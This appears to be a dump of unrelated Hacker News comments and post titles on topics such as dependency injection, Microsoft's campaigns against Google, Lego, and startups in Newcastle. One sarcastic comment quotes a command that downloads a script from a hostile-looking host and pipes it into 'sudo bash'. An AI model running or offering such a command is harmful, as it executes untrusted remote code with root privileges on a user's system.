skysight-inc/HackerNews huggingface dataset:
Indeed, RequestPolicy, AdBlock+ and NoScript are the essential default plugins, both from a security and usability perspective.

But sometimes the content will not load at all, because to show an article's text, the page uses Google's ajax, webfonts, a cdn, and the blog's master site @ wordpress.com or blogger.com etc. In that case, the content has to be really interesting for me to allow all those third-party connections.
Producteev is now in first place for me, but the android app needs to be updated. I've spent this week testing just about every PM software on the planet :P
Fracking has saved the world?
I tried several times over several hours and never could get the thing to work :-(
I'm pretty sure IoC here refers to "inversion of control" (http://en.wikipedia.org/wiki/Inversion_of_control). I had to look it up though, I find it a bit silly that even the original article doesn't spell this out in the first sentence.

I guess it's super-obvious from context (and the claim of the title) so I guess I'm just not very smart, today. Oops.
Which reminds me of Notchs upcoming(?) game with the DCPU-16. http://dcpu.com/dcpu-16/ http://0x10co.de/
Assembler know-how might be in demand soon.
Don't use IoC if you don't need it, but I'll explain why we need it in our case: some customers require different implementations.

That's where the DI part comes from -- to enable us to load a different dependency based on the customer. Now, you could provide a different bootstrapper class per customer or start building a mega class with a lot of ifs-and-buts(elses), or you specify this kind of stuff in a configuration file.

We opt for configuration files. We opt for IDEs that can interpret Spring configuration files which means typos or incorrect dependencies do show up. This allows us to swap out implementations in case shit goes down without having to recompile, connect over a VPN to a remote desktop and hop through a few more hoops to get our class file on the other side. If you're not running your own apps on infrastructure you control (we should be so lucky), you have to take this sort of stuff into account. I'd love to be able to say "This is how stuff's set up. Deal with it."

(And when shit goes down, it is usually not at the place you were expecting it to happen, which means all kinds of configuration options for your bootstrapper would probably still fall short.)
I saw about 3 weeks ago, this exact same post. I am pretty sure of that.
The scoop on Google's Enhanced Campaigns (good and bad)
It's never gonna take on HN, it's EPFL only.
Chillingo launched 100% indie program
Microsoft cannot afford the possibility another office suite (or another component) gains a foothold in the market. The moment that happens, the moment the market fragments around a different standard (even more if it's a cross-platform/cross-device standard), the mutual Windows-Office reinforcement collapses and each side has to fight on its own.

Microsoft markets Office for Macs for two reasons: because it makes some money out of it and because it prevents a competitor from appearing and taking over the Mac side of the ecosystem and threatening crossing over to Windows. The same reasoning applies to Linux - if Linux ever becomes a significant corporate desktop OS and LibreOffice becomes a threat to Office, Microsoft's value proposition starts to be questioned. Offering a reasonable migration path for companies moving segments of their park away from Windows to stay reinforcing Office as a de-facto standard is vital.

That is an existential threat for Microsoft.
I'm thinking more business.com than mcdonalds.com - the OP got McDonalds to donate something to charity, but I imagine if he'd tried to profit from it he might have found McJane on the end of a McLawsuit.
Poll: Should Public Libraries Allow Patrons To Play Violent Games On Its PCs?
Actually, it's a pretty slick idea mate! If you had a good marketing team, you could target big studios with this one :D
Civil Disobedience
Government Really Needs Lean...
I don't care. Microsoft sucks.
Yeah, totally agree. Nothing of value in Newcastle unless there's a VC sticking stupid money in:

http://techcrunch.com/2013/02/02/pair-the-mobile-app-for-two...

Well, apart from that news story about a bootstrapped startup from five days ago, I mean.
Scraping a website is absurdly easy. You can have the data before you'd have finished writing the email.
Durham is mucher nicer too and much closer than York
Although there are cases where men are disadvantaged and victim of gender roles, often the "WHAT ABOUT THE MENZ" is exclaimed when ever anyone says anything about women being disadvantaged, comparing a molehill to a mountain.
Here is perhaps a better link:
http://www.google.com/enterprise/apps/business/pricing.html

In general Google Apps is a great product for small-medium sized businesses. As is Office 365.
Looking down the barrel of a gun
This is just pathetic, first the whole Android virus thing, now it's the email. What the actual f*ck?

I'm not a pro product guy, I always choose the right tool for the job, but this stuff enrages me and makes me look at MS as scumbags.
InfoWorld: How Do I Freaking Scale Oracle?
Other answers are trying to trick the machine, while the obvious and safe fix is to serve plain html. Just like HN by the way, which is the only bearable site from China on a 3g connection.
Exactly.

I think a lot of people on here somehow got the idea that Google is transmitting your personal information to the advertisers/clients, which is obviously nonsense.

All this does is build a rough profile of your interests and then shows you adverts relevant to those interests.
I read somewhere (I'm pretty sure it was the WSJ) that Woman doing the same job with the same experience level are paid, on average, 8% more than their male counterparts.

Interesting. Got a citation? That would of course be illegal. Equality law doesn't say "You can't pay women less than men", it says "You cannot pay people less based on their gender".

Similar laws have been used to require (in EU) that you cannot charge men more for driving insurance than women.
Deus Ex: Human Revolution (prequel to the original Deus Ex) that came out the other year also had a story that sucked you in wanting more and if you like stealth games, it was geared towards that. I somehow missed playing the original Deus Ex, but it's almost better that way, as the story becomes more intriguing as it unfolds without you knowing the Deus Ex Universe ahead of time.

I'm currently playing the first Deus Ex now and with some modernization graphic wise[1], it plays pretty well on a present day system. There's also lots of mods out there to extend gameplay. I just like the storyline and cyberpunk universe of Deus Ex so playing just the current game was not enough.

Steam usually has all 3 Deus Ex games bundled for around $10 dollars during their seasonal sales. Otherwise, the latest one is around $20 I think.

[1]http://kentie.net/article/dxguide/index.htm
What retirement is and means to me
I found that a sweet spot between wiring-by-code and wiring-by-container-and-configuration-dsl is using a dynamic language for wiring (say, Rhino, which is very lightweigth): you have the flexibility of wiring-by-code and can easily change the configuration purely by deployment (without recompiling anything)
Oh Darn ! So that wiki page saying that I should run `curl http://sketchyhackers.cc/exploit | sudo bash` wasn't legit ???

</sarcasm>
Now that's impressive. Piped some stats to it, and it looks amazing.
I don't have a problem with the price of lego, having — as a child in the 70s — saved my own pocket money to buy lego. The real criticism of lego is that it's gone from being a collection of parts that can make the thing on the cover of the box but also many interesting variations, to something that isn't very malleable.

First, lego no longer has a consistent color scheme, so only pieces from one genre go with other pieces of that genre.

Next, there's the proliferation of zany specialized parts. I remember getting a lego cargo ship as a kid (the hull was four specialized pieces — bow, stern, and two mid sections and thinking this was awful. Lego doesn't do ship sections any more but many similar things.

It's not a get off my lawn thing. I still love lego. But it does seem to have exchanged its DIY charm in the pursuit of merchandising.

That said, you can build much better looking models now — just not out of any reasonable selection of pieces.
Chartgasms: Game Publisher Rankings of 2012
If you don't own your own email server, then those emails are going to get stored and processed on a third-party's servers. If you don't encrypt your emails, then even your ISP can read them.

I don't like Google's potential for evil. They got a little creepy lately. However, look who's talking ... if Microsoft wants me to ever believe something they say, then they must provide me with a contract, in writing, with terms that can't be changed whenever they feel like it.
I mainly click. I would love to alt-tab but I can't seem to internalize the way it works, which means that I usually alt-tab a dozen times like an idiot to pick the application I actually want.
What I find amazing in the linked article (from the footnotes[1]) about Lego's financial situation was that every product engineer used to have carte blanche to go out and acquire tons of resin, just to make one set. That, and the effort they went to to service small, local stores. It's both amazing and depressing; obviously it doesn't scale at all, but it really sounds like a kickass corporate culture. Wired had a similar article about people who design Nerf guns; they also had an amazing lab-area dedicated to cobbling together new toys[2].

My point being, toy-making sounds like an awesome job. I wonder if the people who do it are mech/materials/structural engineers, or if it's still a craft? I would totally go and design toys and write Python scripts to model Nerf trajectories for the rest of my life.

1. http://www.strategy-business.com/article/07306?pg=1

2. http://www.wired.com/design/2012/09/how-nerf-became-worlds-b...
> The VM was rebooted on Jan 7, apparently in an attempt to get things working again.

Who rebooted the VM? If it was the attackers, this implies that they had root. But the post only states that they could execute code as the moin user.
Clojure - Up Close and Personal
I think this is a sign of Microsoft's desperation to stay relevant.

Most of the Surface reviews have spoken poorly about the device. Windows RT hasn't been well received. They've tried to revamp their entire image -- with new hardware, software, and extensive marketing -- with limited success. "Look at how cool our product is" hasn't worked for them, so they're resorting to "look at how terrible their product is." You can tell they've been trying incredibly hard to stay fresh, but nothing has really taken off for them. I've yet to see a Surface in the wild.
This is the first move by Microsoft that I can actually understand. They need to seriously rethink what their goals are. They can't have the computing monopoly they used to, so they really need to focus on what they're strong at: corporate software. And that is not a bad thing.

How about marketing Surface as a solution to corporate IT departments trying to wrestle iPads into their Microsoft ecosystem? Windows Phone could be the same. They could be the Blackberry of the new mobile corporate strategies. Then just keep doing what they do best: build products that plug and play very, very nicely with the rest of Microsoft's portfolio, and offer better corporate support for those products.

Instead of trying to figure out how to make a slicker Metro, how about making Sharepoint suck less? Keep the direction of VS going forward. Microsoft's "next big things" should be focused on innovating the corporate workspace. Stop trying to get tangled up in the Apple/Google wars and start focusing on challenging things like Google Docs, Box, and Red Hat instead. Those are Microsoft's real competitors.

It seems like they're very conflicted and confused about who they are supposed to be. They're not the cool new unproven software maker. They're the people whose products you use when you want to reduce IT costs and modernize legacy application portfolios.
One of the graphs shows that LEGO have increased the number of different sets they're producing a lot, but I frequently still see boxes of "just bricks" for sale, so it just seems as if they're offering the consumer more choice.
Researchers opt to limit uses of their open-access publications
According to Martin Fowler [1], Inversion of Control is an alternative to using a Service Locator:

> In the Java community there's been a rush of lightweight
> containers that help to assemble components from
> different projects into a cohesive application.
> Underlying these containers is a common pattern to how
> they perform the wiring, a concept they refer under the
> very generic name of "Inversion of Control". In this
> article I dig into how this pattern works... and
> contrast it with the Service Locator alternative. The
> choice between them is less important than the principle
> of separating configuration from use.

[1] http://martinfowler.com/articles/injection.html

(edit: Also, the Spring Framework has had alternatives to XML configuration for years: http://www.ibm.com/developerworks/webservices/library/ws-spr...)
"Creepiness"? Are you a child?

You seem to comprehend how Google runs its business and pays for its services. Isn't it incredibly ludicrous to call it creepy?
Horrible late move. What an incredible waste of resources. How many Linux users will buy Office?

Instead, their resources would be better spent creating a Google docs killer freemium service. But what do I know...
Surely I didn't read that right, MS have a $50 million budget just for Google smear campaigns!?

One of the biggest things that makes my blood boil is when corporations invest large sums of money to force consumers to use their crappy products instead of spending that money on making less crappy products that consumers choose to buy.
Yes. If a website won't even show basic page text without allowing various things I will leave immediately.
As someone working out of, literally, a tin shed in Byker (a stones through from the Tyne river in Newcastle for those unfamiliar with the area) it's nice to see the city getting some good PR. One thing I would add is that there are plenty of businesses outside straight up IT/Tech in the city and as a result there is a really great and diverse business community.

If you are looking for somewhere to start a company that involves manufacturing (as ours does) then you could do a lot worse that the Northeast - the legacy of ship building and the presence of the 500,000 cars per year Nissan factory make it a great place to get stuff made.

Alos, London is great an everything but for quality of life and low cost of living Newcastle knocks spots of it. Something that, as a cash strapped founder, is really useful and on a good day it's only a 2.5 hour train ride to London.
Why not $10 million. As I just said in relation to the Wired / McDonalds post, I wish I'd had the foresight to do this.

And if I had, you can bet I'd be milking it for everything I could.
Help to help you out with contacts - I'm the guy from ignite100 in the feature. Also, if you'd like to work with any of the ignite100 alumni, more than happy to connect you.

P
Or maybe he's not interested in selling. But to make him interested in selling, he's got a number that might get his interest. It's a supply and demand thing. He's not supplying, but if you demand at a high enough price, he just might. Maybe. Because he likes his domain.
Well any idea where I get some beta testers from the EPFL ?
What causes delays in software projects
Agreed. It's annoying how Microsoft misleads the reader into thinking that they personally look through every email.
Freemium Businesses Switch the Hunter and Farmer Sales Roles
Lisp interpreter written in ActionScript
We have a university here locally that is a join venture between two other major universities in the state, including sharing professors, curriculum and resources. It draws many, many working adults (as well as traditional students). There are many such students who work and attend school full time to get their degree and have not had time to do a bunch of side projects. Life gets in the way sometimes. Plus, you don't need someone whose whole life/only hobby is programming. My standards don't include "must spend free time practicing their trade".

If one has open-source projects, great. If not that doesn't even come close to excluding them.
Have a look at some of the websites you visit daily. A lot won't be using any type of protection. Most forums don't, for example.
Inefficient markets: Understanding Apple
You mean Mini DisplayPort? Many vendors use it nowadays.
They're 1U and 2U servers on which I've installed ESXi. I love it - I can run a VM locally then transfer it across, then if I'm travelling I can chuck it onto VMWare Fusion on my laptop.
But it's not very polite to do (someone runs that website that you're hammering), and it doesn't open you up to a conversation that might get you even more access/data than you originally thought was accessible.
Ask HN: Do sponsored posts on Facebook deliver value? 
I decided to test Facebook sponsorship with a post including my Christmas card. I paid $8.80, which after about two weeks corresponded to 5 likes and 5 user comments (since I just had another unsponsored post with 13 likes I didn't immediately perceive this as value, and wondered if people deliberately didn't like it because they saw it was a sponsored post).

Anyways, about a month later I get message from Facebook claiming to reveal the results. I get the following two pieces of information from them:
"Your post has had 3.3x as many views because you promoted it."
and a weird bar graph that shows regular views at "30%"
and paid views at "70%"
(30% and 70% of what I have no idea).

To conclude, is there any value here? I think the sponsored post discouraged people from liking it early, and I believe that the time in the news feed also correlates to the number of people that like it. Consequently, a post liked by many people will probably be in the news feed for more than 3.3x as long, and get even more views than a sponsored post.

The conclusion would be to only sponsor posts that few people will like. At least that's my logic. Anyone else have a similar experience?
If you go through the list in that wired articles of things that supposedly set this apart, you'll find that in most cases, that stuff already exists. That leaves two things:

"a “best of thread” view, which shows the best reply to a particular thread based on unspecified factors" & "“aggregated links” view, which displays all outbound links mentioned in a thread, plus how many times they’ve been clicked"

Wow. This is turning from puzzling to genuinely funny. You know, two things anyone could add about to any existing mature forum software in about an afternoon, and which they don't, because they do nothing to improve online discourse. And Wired writes an article about it.. love of money truly is the root of all unintentional comedy.
I may restart JavaScript North East soon too. It's hibernating for the winter at the moment.
Newcastle is a great city to take a startup from napkin to reality. It wont take much to open the door of any business or investor and the community is generally welcoming (Kind of un-British) in some respects.It's also beautiful city and happens to have one of the lowest costs of living in the UK.

However Newcastle and the North East in general suffers from a shortage in quality developers. Primarily because they're either entrepreneurial with their own startup or finding offers from startups in London with double the salary on the table.

Newcastle isn't really trying to be anything other than itself, it understands that there isn't an abundance of developers and it's trying god dam hard to bring the right talent to the area.

Newcastle university offers a great CS course headed up by Professor Aad van Moorsel and with the right startups keeping that talent in the area shouldn't be hard.

If you're located in London and looking to take that idea into a reality, Newcastle and the North East(York & Durham) are great choices. £10,000 can give you 6months of decent living up here. As opposed to 2-3 in London.
Exception Handling with Try/Catch in the Real World
I use PlayOnLinux, which works quite seamlessly.

http://www.playonlinux.com/en/supported_apps-3-0.html

However, an increasing amount of my documents are in Google Docs/Drive these days. It's only for really intensive spreadsheets I bust out Excel. I can't stand LibreOffice Calc. Even the name (in a dashboard 'calc' clashes with 'calculator' ... duh, I just type 'gcalc' now). Perhaps I'm just too used to Excel, having used it for so long now.
There are no WordPress timthumb hackers in Mongolia
It's all rather subjective and I can't say you're wrong. But I have a 9 year old son who loves lego. When he gets a set he builds what is on the box, that usually lasts a couple hours (maybe longer if it is a bigger/more difficult set) and then it gets torn down and put into the bin. Then all kinds of different stuff comes out. He and his friends have a great time with that bin. I do too. I don't think there are many one-off pieces. In fact he gets rather creative repurposing a lot of what might be thought of as specialized pieces. So my experience at this point is that he can do a lot more and be a lot more creative than I could when I was a kid.
I've always called them Lego. Not Legos. Is that an American thing? (UK citizen here). Just curious.
It seems to be that David Byrne isn't that familiar with Aaron Swartz's fight.

He says:

Withholding cancer research from academics
who can’t afford access because a big pharmaceutical
company “owns” the data doesn’t seem like a very morally
defensible position—even if it is what the law might say
is perfectly legal.

I do not know what he is referring to here at all.
(1) JSTOR likely does not have much cancer research in the journals it covers.
(2) Publications are owned by publishers, not any "big pharmaceutical company". The "big pharmaceutical company" receives no payment from the purchase of articles, and in some cases has to pay to publish in the journal that then also requires assignment of the copyright and charges for access the content.
The biggest difference I see with git-crypt is that it's designed to encrypt a subset of files in the repository. This makes a lot of sense to me for storing secrets within a repo.
Generally the "real-world" instances of someone buying into stock, real-estate, etc. early, they take on a large risk of losing his/her investment.

In the case of squatting on a domain, you are depriving someone of the productive use of that domain, while also trying to extort large sums of money simply for the ability to rent it. Of course generally when this happens, it involves a shady company that also seeds the site with loads of sketchy ads.
I would definitely be interested to hear about this!
Why Your Android App Won't Port to Blackberry 10
I agree with using IoC for different implementations, but I'm puzzled by those who want to use it everywhere, because it supposedly makes the code easier to test.

Guice is a nice IoC framework, but look at what they say on their website:

"Think of Guice's @Inject as the new new."

http://code.google.com/p/google-guice/
I was wondering a while ago if you could use an effect like this to get reasonable performance for real-time raytracing. It wouldn't be realistic, but you might get a nice painterly look with fancy lighting for 3d scenes.

Very pretty though.